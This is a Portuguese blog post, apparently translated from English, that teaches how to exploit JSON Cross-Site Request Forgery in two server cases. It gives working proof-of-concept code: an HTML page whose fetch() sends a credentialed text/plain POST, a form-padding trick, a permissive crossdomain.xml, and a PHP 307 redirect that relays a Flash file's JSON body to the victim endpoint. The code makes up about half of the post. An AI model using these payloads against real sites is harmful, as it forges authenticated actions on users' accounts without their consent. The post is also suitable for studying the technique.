Explorando JSON Cross Site Request Forgery (CSRF) usando Flash
Este post é uma tradução livre de: Exploiting JSON Cross Site Request Forgery (CSRF) using Flash.
Você deve ter o básico de ataques CSRF, caso não tenha a página da OWASP lhe dará uma explicação sobre.
então este truque entra em jogo quando os dados da requisição post formatados no formato json. Ex: eg: {“name”:”test”, “email”:”victim.com”}.
Caso 1
Servidor procura os dados formatados do JSON mas não valida o Content-type.
Caso 2
Servidor procura os dados formatados do json e valida também o Content-type, ou seja, application/json.
Nota: Este ataque apenas irá funcionar se a aplicação funcionar em apenas dados JSON ou Content-type application/json.
Explorando o caso 1
Simples nós podemos usar uma requisição com o fetch, como nós sabemos o servidor apenas checa se os dados do POST estão formatados corretamente em JSON ou não. Se sim irá aceitar requisições independente de se o Content-type é setado como text/plain.
Agora nós enviamos estes dados de test para a aplicação vulnerável.
<html>
<title>JSON CSRF POC</title>
<body>
<center>
<h1> JSON CSRF POC </h1>
<script>
fetch(‘http://vul-app.com', {method: ‘POST’, credentials: ‘include’, headers: {‘Content-Type’: ‘text/plain’}, body: ‘{“name”:”attacker”,”email”:”attacker.com”}’});
</script>
<form action=”#”>
<input type=”button” value=”Submit” />
</form>
</center>
</body>
</html>
Fonte: http://research.rootme.in/forging-content-type-header-with-flash
Método passado
<html>
<title>JSON CSRF POC</title>
<center>
<h1> JSON CSRF POC </h1>
<form action=http://vul-app.com method=post enctype=”text/plain” >
<input name=’{“name”:”attacker”,”email”:”attacker@gmail.com”,”ignore_me”:”’ value=’test”}’type=’hidden’>
<input type=submit value=”Submit”>
</form>
</center>
</html>
Isto irá fazer uma requisição POST com um JSON válido com dados extras preenchidos se a aplicação não tiver tratado estes dados extras, o que acontee na maioria dos casos.
Explorando caso 2
Aqui a aplicação até valida o Content-type e data format, mas este ataque pode ser realizado usando flash e 307 redirect.
Requerimentos:
- Arquivo flash
- Crossdomain XML arquivo
- Arquivo PHP com o código 307
Arquivos Flash
Este arquivo flash (.swf) possui os dados formatados do json que o invasor deve postar na aplicaçãoe vincular ao arquivo php hospedado nele.
Aqui está o arquivo SWF de teste, você pode baixar e editar os conteúdos de acordo com sua necessidade, recomendo oFFDec do Windows para editar e compilar o arquivo flash, você pode verificar os outros com base no seu ambiente.
Arquivo crossdomain XML
<cross-domain-policy>
<allow-access-from domain=”*” secure=”false”/>
<allow-http-request-headers-from domain=”*” headers=”*” secure=”false”/>
</cross-domain-policy>
Este arquivo deve ser hospedado no diretório raiz do site usado no ataque, então o arquivo flash pode solicitar o host do invasor.
Arquivo PHP com o código 307
<?php
header(“Location: https://victim.com/user/endpoint/", true, 307);
?>
Pedido do arquivo flash para este arquivo php, isso permitirá que o redirecionamento 307 seja mencionado para o ponto final do aplicativo e, como 307, é um redirecionamento especial, que publicará também os dados JSON, que receberam do arquivo flash para o alvo e o CSRF ocorrerá com sucesso.
É isso aí galerinha, não deixem de compartilhar. Até a próxima!